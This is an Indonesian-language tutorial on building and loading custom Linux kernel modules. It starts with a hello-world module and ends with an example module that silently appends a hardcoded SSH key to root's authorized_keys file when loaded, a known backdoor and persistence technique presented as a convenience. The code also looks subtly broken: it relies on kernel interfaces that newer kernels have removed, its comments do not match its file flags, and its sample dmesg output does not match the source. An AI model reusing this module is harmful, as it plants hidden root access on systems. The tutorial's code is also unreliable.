Compiling Custom Kernel Modules

Anda dapat mengembangkan modul kernel custom yang memungkinkan penyesuaian lanjutan pada berbagai konfigurasi hardware dan software. Sehingga modul yang dibuat dapat diintegrasikan ke dalam sistem operasi untuk meningkatkan performa, menambahkan fungsionalitas baru, atau mendukung hardware yang spesifik.

Prerequisites

Install kernel-devel menyesuaikan dengan versi kernal yang digunakan sistem operasi.

dnf install kernel-devel-$(uname -r) gcc elfutils-libelf-devel

Create test module

Buat file test.c pada direktori /root/testmodule/ lalu tambahkan konten berikut.

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
    { printk("Hello World\n This is a test\n"); return 0; }

void cleanup_module(void)
    { printk("Good Bye World"); }

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Linux Kernel test hello world");

Kode tersebut merupakan contoh dasar untuk mencetak pesan log kernel saat dimuat dan dilepas. Modul kernel yang sebenarnya akan lebih kompleks dan melakukan tugas-tugas tertentu di dalam kernel.

Selanjutnya buat file /root/testmodule/Makefile dengan konten berikut.

obj-m := test.o

Makefile berisi instruksi yang dimiliki kompiler untuk menghasilkan file objek yang diberi nama khusus test.o. Argumen obj-m menetapkan bahwa file test.ko yang dihasilkan akan dikompilasi sebagai modul kernel yang dapat dimuat. Alternatifnya dapat menggunakan argumen obj-y untuk menginstruksikan build test.ko sebagai modul kernel bawaan.

Compile modul kernel dengan perintah.

make -C /lib/modules/$(uname -r)/build M=/root/testmodule modules

Setelah kompilasi berhasil, /root/testmodule akan berisi test.ko dan file tambahan yang berhubungan modul kernel custom.

# ll
total 476
-rw-r--r-- 1 root root     17 Mar 29 19:37 Makefile
-rw-r--r-- 1 root root     33 Mar 29 19:57 modules.order
-rw-r--r-- 1 root root      0 Mar 29 19:57 Module.symvers
-rw-r--r-- 1 root root    204 Mar 29 19:32 test.c
-rw-r--r-- 1 root root 231056 Mar 29 19:57 test.ko
-rw-r--r-- 1 root root    865 Mar 29 19:57 test.mod.c
-rw-r--r-- 1 root root 119640 Mar 29 19:57 test.mod.o
-rw-r--r-- 1 root root 112888 Mar 29 19:57 test.o

Copy modul kernel ke direktori /lib/modules/$(uname -r)/

cp /root/testmodule/test.ko /lib/modules/$(uname -r)/

Kemudian update dependensi modular.

depmod -a

Load modul kernel.

modprobe -v test

Untuk verifikasi bahwa modul kernel berhasil diload.

lsmod | grep test

Jika dicek dengan perintah dmesg akan muncul output seperti berikut.

# dmesg
[  841.466241] Hello World
                This in the test

Example

Berikut adalah beberapa contoh skrip modul kernel.

Menambah SSH Key Secara Otomatis

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

// Ganti dengan kunci SSH publik Anda
static const char *ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD... [email protected]\n";

// Fungsi untuk menulis kunci SSH ke file
static int write_ssh_key(void) {
    struct file *file;
    mm_segment_t old_fs;
    int ret = 0;

    // Menggunakan mode kernel untuk akses file
    old_fs = get_fs();
    set_fs(get_ds());

    // Membuka file dengan hak akses write dan create
    file = filp_open("/root/.ssh/authorized_keys", O_WRONLY|O_APPEND, 0600);
    if (IS_ERR(file)) {
        ret = PTR_ERR(file);
        goto out;
    }

    // Menulis kunci SSH ke file
    kernel_write(file, ssh_key, strlen(ssh_key), &file->f_pos);

    // Menutup file
    filp_close(file, NULL);

out:
    // Mengembalikan mode akses file
    set_fs(old_fs);
    return ret;
}

// buat init modul
static int __init mulai(void) {
  printk(KERN_INFO "SSH loaded\n");
  return write_ssh_key();
}

// buat exit modul
static void __exit stop(void) {
  printk(KERN_INFO "Done\n");
}

module_init(mulai);
module_exit(stop);

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SSH Key");
MODULE_AUTHOR("Your Name");

Referensi: